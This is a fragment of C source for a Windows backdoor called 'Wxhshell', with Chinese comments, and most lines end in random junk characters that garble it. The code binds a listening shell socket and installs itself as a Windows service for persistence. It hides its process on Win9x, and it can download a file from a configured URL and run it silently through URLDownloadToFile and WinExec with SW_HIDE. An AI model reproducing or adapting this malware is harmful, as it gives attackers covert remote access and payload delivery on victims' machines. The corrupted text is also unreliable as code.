DWORD BasePriority; WG?;Z
ULONG UniqueProcessId; soi.`xE
ULONG InheritedFromUniqueProcessId; T($6L7 j9
} PROCESS_BASIC_INFORMATION; -yH8bm'0"
% HK \
PROCNTQSIP NtQueryInformationProcess; `OWw<6`k
U)g27*7
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ;mYj`/Yj
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; c _faW
"Ooc;xD3<
HANDLE hProcess; >84:1`
PROCESS_BASIC_INFORMATION pbi; P-c<[DSM'I
3~&h9#7Ke
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); :4,
OA
if(NULL == hInst ) return 0; DHnu F@M
_[_mmf1;:'
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @g~hYc
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); WnL Ma|e
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [~_()i=Y
DRUvQf
if (!NtQueryInformationProcess) return 0; Ar:ezA
2UGnRZ8:1Y
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); -g;cg7O#(
if(!hProcess) return 0; KqH_?r`
a1nj}1M%
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nC>'kgRt
TUaW'
CloseHandle(hProcess); "X7;^yY
%oY=.Ok ]
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "\l O1D
if(hProcess==NULL) return 0; *He%%pk
h72#AN
HMODULE hMod; 78[5@U
char procName[255]; 0nbQKoF
unsigned long cbNeeded; *>,CG:`D
hn@T ]k
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D^~G(m;-
yd-Kg zm8n
CloseHandle(hProcess); 1VD8y_tC
}&h*bim
if(strstr(procName,"services")) return 1; // 以服务启动 #& 5}
M((]> *g
return 0; // 注册表启动 }#h >*+Q
} h*JzJ0X
/>,Tq!i\4}
// 主模块 SpB\kC"K
int StartWxhshell(LPSTR lpCmdLine) '8|y^\
{ s/"?P/R
SOCKET wsl; X>`5YdT~+
BOOL val=TRUE; 6mH --!j
int port=0; +"Ui@^
struct sockaddr_in door; XW*,Lo5>H\
@\|W#,~
if(wscfg.ws_autoins) Install(); =vaC?d3
z:_o3W.E
port=atoi(lpCmdLine); =/b WS,=
g;Lk 'Ky6
if(port<=0) port=wscfg.ws_port; s^n}m#T
_FRwaFVJ3
WSADATA data; |<q9Ee
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; x/pM.NZF1
}bg_?o;X}
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; ?pAO?5Z:}
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); :+m8~n$/
door.sin_family = AF_INET; nbGB84
door.sin_addr.s_addr = inet_addr("127.0.0.1"); { eU_
door.sin_port = htons(port); d,R
"&,Gn#'FG
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { N4wv'OrL]
closesocket(wsl); dcGs0b
return 1; M^E\L
C
} Y8^pgv
OZ/!=;
if(listen(wsl,2) == INVALID_SOCKET) { ,>^6ztM
closesocket(wsl); b&l/)DU
return 1; }c"1;C&{
} jv
C.T]<B
Wxhshell(wsl); .=nx5yz
WSACleanup(); ![{>$Q?5
;B'5B]A3
return 0; NX?IM8\t
Y)-)owx7
} .[1"3!T
u9:+^F+
// 以NT服务方式启动 >brf7h
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Ev R6^n/
{ @"\j]ZEnY
DWORD status = 0; #ZPU.NNT?
DWORD specificError = 0xfffffff; \;h+:[<e1
Jx:t(oUR+
serviceStatus.dwServiceType = SERVICE_WIN32; 0M'[|cid|
serviceStatus.dwCurrentState = SERVICE_START_PENDING; VGVZ`|
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; WP@IV;i
serviceStatus.dwWin32ExitCode = 0; t#Q" ;e
serviceStatus.dwServiceSpecificExitCode = 0; .!kO2/:6
serviceStatus.dwCheckPoint = 0; } +@H&}u
serviceStatus.dwWaitHint = 0; [`_ZlC
4r&S&^
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); JVoW*uA
if (hServiceStatusHandle==0) return; $E_9AaX
F%8W*Y699
status = GetLastError(); TH`zp]0
if (status!=NO_ERROR) _ 2WG6y;
{ |7K[+aK
serviceStatus.dwCurrentState = SERVICE_STOPPED; qNLG- m,n<
serviceStatus.dwCheckPoint = 0; ~1NK@=7T
serviceStatus.dwWaitHint = 0; T\G2B*fGd
serviceStatus.dwWin32ExitCode = status; 9'qU4I
serviceStatus.dwServiceSpecificExitCode = specificError; [F^qa/vJ10
SetServiceStatus(hServiceStatusHandle, &serviceStatus); :`9hgd/9
return; [BH^SvE
}
jWg7RuN
}SdI _sLe
serviceStatus.dwCurrentState = SERVICE_RUNNING; g"60{
serviceStatus.dwCheckPoint = 0; #q06K2
serviceStatus.dwWaitHint = 0; uA}w?;
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); <O5r|
} ,Tb~+z|-[
wX0m8"g@
// 处理NT服务事件,比如:启动、停止 5&y;r
VOID WINAPI NTServiceHandler(DWORD fdwControl) \,w*K'B_Y
{ U%Kv}s/(F{
switch(fdwControl) 5kK:1hH7
{ gbf-3KSp^
case SERVICE_CONTROL_STOP: MpV3.
serviceStatus.dwWin32ExitCode = 0; %7X<:f|N8x
serviceStatus.dwCurrentState = SERVICE_STOPPED; \WDL?(G<
serviceStatus.dwCheckPoint = 0; $Vi[195]2
serviceStatus.dwWaitHint = 0; {M7`z,,[
{ J H%^FF2
SetServiceStatus(hServiceStatusHandle, &serviceStatus); [|=#~(yYQ
} ,s%1#cbR
return; Y7vTseq
case SERVICE_CONTROL_PAUSE: Nn"[GB
serviceStatus.dwCurrentState = SERVICE_PAUSED; IZ$7'Mo86
break; kHO2&"6
case SERVICE_CONTROL_CONTINUE: +@'{
serviceStatus.dwCurrentState = SERVICE_RUNNING;
g1je':
break; t8"*jt
case SERVICE_CONTROL_INTERROGATE: )YDuq(g&
break; RG'Ft]l92N
}; %TY;}V59 b
SetServiceStatus(hServiceStatusHandle, &serviceStatus); fQ\nK H~
} fkprTk^#
p)t1]<,Of
// 标准应用程序主函数 _h%
:Tu
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) $=x1_
{ UBmD
3|Zo
re\@v8w~
// 获取操作系统版本 U{IY
F{;@
OsIsNt=GetOsVer(); 7j>NUx=j3
GetModuleFileName(NULL,ExeFile,MAX_PATH); ?e`4
sf_~
-+'fn$
// 从命令行安装 YL )epi^
if(strpbrk(lpCmdLine,"iI")) Install(); F-\Swbx+
*h<=
(Y%
// 下载执行文件 J3]!<v=
if(wscfg.ws_downexe) { pJ` M5pF
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) A9*( O)
WinExec(wscfg.ws_filenam,SW_HIDE); hi{#HXa
} c)d*[OI8
)HrFWI'Y
if(!OsIsNt) { Ub0hISA
// 如果时win9x,隐藏进程并且设置为注册表启动 !)jw o=l}J
HideProc(); W+A-<Rh\
StartWxhshell(lpCmdLine); tQSj[Yl
} Qy)+YhE
else Xq3n7d.
if(StartFromService()) =!axQ[)A
// 以服务方式启动 thoAEG80
StartServiceCtrlDispatcher(DispatchTable); ")/TbTVu
else hX-([o
// 普通方式启动 egBjr?
StartWxhshell(lpCmdLine); +GgJFBl
AL%gqt]
return 0; E8TJ*ZU
}